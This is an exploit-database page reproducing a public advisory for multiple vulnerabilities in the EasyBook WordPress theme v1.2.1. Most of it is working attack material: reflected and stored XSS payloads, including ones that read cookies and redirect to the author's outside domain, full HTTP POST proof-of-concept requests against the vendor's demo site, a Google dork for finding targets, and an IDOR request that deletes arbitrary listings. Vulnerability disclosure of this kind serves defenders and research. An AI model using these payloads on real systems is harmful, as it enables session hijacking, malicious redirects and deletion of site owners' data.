Advertisement






EasyBook – Directory & Listing WordPress Theme v1.2.1 Multiple Vulnerabilities

CVE Category Price Severity
CVE-2020-24799 CWE-79 $500 High
Author Risk Exploitation Type Date
Mehmet Das High Remote 2019-12-27
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019120110

Below is a copy:

EasyBook Directory & Listing WordPress Theme v1.2.1 Multiple Vulnerabilities
# Exploit Title: EasyBook  Directory & Listing WordPress Theme v1.2.1 Multiple Vulnerabilities
# Google Dork: /wp-content/themes/easybook/
# Date: 27/12/2019
# Exploit Author: m0ze
# Vendor Homepage: https://cththemes.com/
# Software Link: https://themeforest.net/item/easybook-directory-listing-wordpress-theme/23206622
# Version: 1.2.1
# Tested on: Parrot OS
# CWE: 79


----[]- Reflected XSS: -[]----
Input field with placeholder Hotel , City... on the homepage is vulnerable. Same thing with a regular search (block under the Add Listing button).

Payload Sample #0: <img src=x onerror=alert(document.cookie)>
Payload Sample #1: <img src=x onerror=window.location=`https://m0ze.ru`;>

PoC #0: https://www.easybook.cththemes.org/?search_term=%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E&checkin=&checkout=&adults=1&children=0

PoC #1: https://www.easybook.cththemes.org/?search_term=%3Cimg+src%3Dx+onerror%3Dwindow.location%3D%60https%3A%2F%2Fm0ze.ru%60%3B%3E&checkin=&checkout=&adults=1&children=0


----[]- Persistent XSS -> Chat: -[]----
Possibility to use any cookie stealing payload to hijack user/administrator session or force redirect to malicious website (from https://www.easybook.cththemes.org/dashboard/#/chats or from chat widget on the bottom right corner).

Payload Sample #0: <img src=x onerror=alert(`m0ze`)>
Payload Sample #1: <img src=x onerror=window.location=`https://m0ze.ru`;>

PoC:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.easybook.cththemes.org
User-Agent: Mozilla/5.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: https://www.easybook.cththemes.org
DNT: 1
Connection: close
Referer: https://www.easybook.cththemes.org/dashboard/
Cookie: _your_cookies_here_

action=easybook_addons_chat_reply&_nonce=1c8cd14288&cid=600&user_id=XXX&touid=1&reply_text=_payload_

Where:
user_id=XXX (your unique WordPress ID);
touid=1 (message receiver ID, in this example ID 1 == account admin);
reply_text=_payload_ (your payload).


----[]- Persistent XSS -> Listing page: -[]----
Add new listing here https://www.easybook.cththemes.org/dashboard/#/addListing (first time you need to order a Free plan and go to this URL again).
Vulnerable input fields: Address, Longitude, Latitude, Fact Title and Fact Number.

Payload Sample #0: "><img src=x onerror=alert(document.cookie)>
Payload Sample #1: "><h1>Greetings from m0ze</h1>
Payload Sample #2: "><script>alert(`PoC`);</script>

PoC:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.easybook.cththemes.org
User-Agent: Mozilla/5.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------970149683563
Content-Length: 4142
Origin: https://www.easybook.cththemes.org
DNT: 1
Connection: close
Referer: https://www.easybook.cththemes.org/dashboard/
Cookie: _your_cookies_here_

-----------------------------970149683563
Content-Disposition: form-data; name="lid"

0
-----------------------------970149683563
Content-Disposition: form-data; name="listing_type_id"

5058
-----------------------------970149683563
Content-Disposition: form-data; name="isSubmit"

true
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[timezone]"

America/New_York
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Monday][static]"

enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Tuesday][static]"

enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Wednesday][static]"

enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Thursday][static]"

enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Friday][static]"

enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Saturday][static]"

enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Sunday][static]"

enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="locations"

US|M
-----------------------------970149683563
Content-Disposition: form-data; name="title"

PoC
-----------------------------970149683563
Content-Disposition: form-data; name="address"

"><img src=x onerror=alert(1)>
-----------------------------970149683563
Content-Disposition: form-data; name="longitude"

"><img src=x onerror=alert(2)>
-----------------------------970149683563
Content-Disposition: form-data; name="latitude"

"><img src=x onerror=alert(3)>
-----------------------------970149683563
Content-Disposition: form-data; name="author_email"

M
-----------------------------970149683563
Content-Disposition: form-data; name="author_phone"

M
-----------------------------970149683563
Content-Disposition: form-data; name="author_website"

M
-----------------------------970149683563
Content-Disposition: form-data; name="content"

"><img src=x onerror=alert(document.domain)>
-----------------------------970149683563
Content-Disposition: form-data; name="features[0]"

303
-----------------------------970149683563
Content-Disposition: form-data; name="features[1]"

300
-----------------------------970149683563
Content-Disposition: form-data; name="features[2]"

305
-----------------------------970149683563
Content-Disposition: form-data; name="features[3]"

302
-----------------------------970149683563
Content-Disposition: form-data; name="facts[0][title]"

"><img src=x onerror=alert(9)>
-----------------------------970149683563
Content-Disposition: form-data; name="facts[0][number]"

"><img src=x onerror=alert(10)>
-----------------------------970149683563
Content-Disposition: form-data; name="facts[0][icon]"

123
-----------------------------970149683563
Content-Disposition: form-data; name="lservices[0][service_id]"

-imgsrcxonerroralert12
-----------------------------970149683563
Content-Disposition: form-data; name="lservices[0][service_name]"

M
-----------------------------970149683563
Content-Disposition: form-data; name="lservices[0][service_desc]"

M
-----------------------------970149683563
Content-Disposition: form-data; name="lservices[0][service_price]"

0
-----------------------------970149683563
Content-Disposition: form-data; name="action"

submit_listing
-----------------------------970149683563
Content-Disposition: form-data; name="_wpnonce"

1c8cd14288
-----------------------------970149683563--


----[]- IDOR: -[]----
Delete any post/page/listing:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.easybook.cththemes.org
User-Agent: Mozilla/5.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: https://www.easybook.cththemes.org
DNT: 1
Connection: close
Referer: https://www.easybook.cththemes.org/dashboard/
Cookie: _your_cookies_here_

action=easybook_addons_delete_listing&_nonce=1c8cd14288&lid=XXXX

Where:
lid=XXXX (page/post/listing unique WordPress ID, can be discovered as a page class for <body> tag).

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum